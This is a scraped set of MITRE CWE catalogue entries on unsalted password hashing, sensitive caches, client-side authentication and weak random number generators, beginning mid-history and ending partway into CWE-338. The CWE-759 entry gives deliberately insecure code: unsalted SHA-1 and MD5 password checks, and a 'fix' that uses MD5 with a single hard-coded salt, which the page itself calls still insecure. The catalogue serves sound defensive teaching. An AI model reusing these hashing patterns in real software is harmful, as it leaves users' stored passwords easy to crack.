updated Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-759: Use of a One-Way Hash without a Salt

Weakness ID: 759
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.
+ Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.916Use of Password Hash With Insufficient Computational Effort
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Background Details
In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.
+ Demonstrative Examples

Example 1

In both of these examples, a user is logged in if their given password matches a stored password:

(bad code)
Example Language:
unsigned char *check_passwd(char *plaintext) {
ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
//Login if hash matches stored hash
if (equal(ctext, secret_password())) {
login_user();
}
}
(bad code)
Example Language: Java 
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
login_user();
}

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

Example 2

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

(bad code)
Example Language: Python 
def storePassword(userName,Password):
hasher = hashlib.new('md5')
hasher.update(Password)
hashedPassword = hasher.digest()

# UpdateUserLogin returns True on success, False otherwise
return updateUserLogin(userName,hashedPassword)

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

(good code)
Example Language: Python 
def storePassword(userName,Password):
hasher = hashlib.new('md5',b'SaltGoesHere')
hasher.update(Password)
hashedPassword = hasher.digest()

# UpdateUserLogin returns True on success, False otherwise
return updateUserLogin(userName,hashedPassword)

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

+ Observed Examples
ReferenceDescription
Router does not use a salt with a hash, making it easier to crack passwords.
Router does not use a salt with a hash, making it easier to crack passwords.
+ Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness: High

Phase: Architecture and Design

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness: Limited

Note: Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Phases: Implementation; Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.816OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8662011 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.958SFP Secondary Cluster: Broken Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-291] Johnny Shelley. "bcrypt". <http://bcrypt.sourceforge.net/>.
[REF-292] Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". <http://www.tarsnap.com/scrypt.html>.
[REF-293] B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 5.2 PBKDF2. 2000. <https://www.rfc-editor.org/rfc/rfc2898>. URL validated: 2023-04-07.
[REF-294] Coda Hale. "How To Safely Store A Password". 2010-01-31. <https://codahale.com/how-to-safely-store-a-password/>. URL validated: 2023-04-07.
[REF-295] Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012-06-11. <https://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/>. URL validated: 2023-04-07.
[REF-296] Solar Designer. "Password security: past, present, future". 2012. <https://www.openwall.com/presentations/PHDays2012-Password-Security/>. URL validated: 2023-04-07.
[REF-297] Troy Hunt. "Our password hashing has no clothes". 2012-06-26. <https://www.troyhunt.com/our-password-hashing-has-no-clothes/>. URL validated: 2023-04-07.
[REF-298] Joshbw. "Should we really use bcrypt/scrypt?". 2012-06-08. <https://web.archive.org/web/20120629144851/http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/>. URL validated: 2023-04-07.
[REF-631] OWASP. "Password Storage Cheat Sheet". <https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html>. URL validated: 2023-04-07.
[REF-632] Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007-09-10. <http://hashphp.org/hashing.html>. URL validated: 2023-04-07.
[REF-633] Robert Graham. "The Importance of Being Canonical". 2009-02-02. <https://blog.erratasec.com/2009/02/importance-of-being-canonical.html#.ZCbyY7LMJPY>. URL validated: 2023-04-07.
[REF-634] James McGlinn. "Password Hashing". <https://privacyaustralia.net/phpsec/articles/password-hashing/>. URL validated: 2023-04-07.
[REF-635] Jeff Atwood. "Rainbow Hash Cracking". 2007-09-08. <https://blog.codinghorror.com/rainbow-hash-cracking/>. URL validated: 2023-04-07.
[REF-636] Jeff Atwood. "Speed Hashing". 2012-04-06. <https://blog.codinghorror.com/speed-hashing/>. URL validated: 2023-04-07.
[REF-637] "Rainbow table". Wikipedia. 2009-03-03. <https://en.wikipedia.org/wiki/Rainbow_table>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Creating a Salted Hash" Page 302. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Salt Values", Page 46. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.3, 2009-03-10)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated References
2011-03-29CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References
2013-02-21CWE Content TeamMITRE
updated Description, Potential_Mitigations, References, Relationships, Type
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-524: Use of Cache Containing Sensitive Information

Weakness ID: 524
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.
+ Extended Description
Applications may use caches to improve efficiency when communicating with remote entities or performing intensive calculations. A cache maintains a pool of objects, threads, connections, pages, financial data, passwords, or other resources to minimize the time it takes to initialize and access these resources. If the cache is accessible to unauthorized actors, attackers can read the cache and obtain this sensitive information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.525Use of Web Browser Cache Containing Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Potential Mitigations

Phase: Architecture and Design

Protect information stored in cache.

Phase: Architecture and Design

Do not store unnecessarily sensitive information in the cache.

Phase: Architecture and Design

Consider using encryption in the cache.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.965SFP Secondary Cluster: Insecure Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships, Type
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Caching
2020-02-24Information Exposure Through Caching

CWE-603: Use of Client-Side Authentication

Weakness ID: 603
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.
+ Extended Description
Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.602Client-Side Enforcement of Server-Side Security
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.300Channel Accessible by Non-Endpoint
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.656Reliance on Security Through Obscurity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

+ Observed Examples
ReferenceDescription
SCADA system only uses client-side authentication, allowing adversaries to impersonate other users.
Client-side check for a password allows access to a server using crafted XML requests from a modified client.
+ Potential Mitigations

Phase: Architecture and Design

Do not rely on client side data. Always perform server side authentication.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Untrustworthy Credentials", Page 37. 1st Edition. Addison Wesley. 2006.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Maintenance_Notes, Other_Notes
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Client-Side Authentication

CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

Weakness ID: 338
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.
+ Extended Description

When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms that use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1213Random Number Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
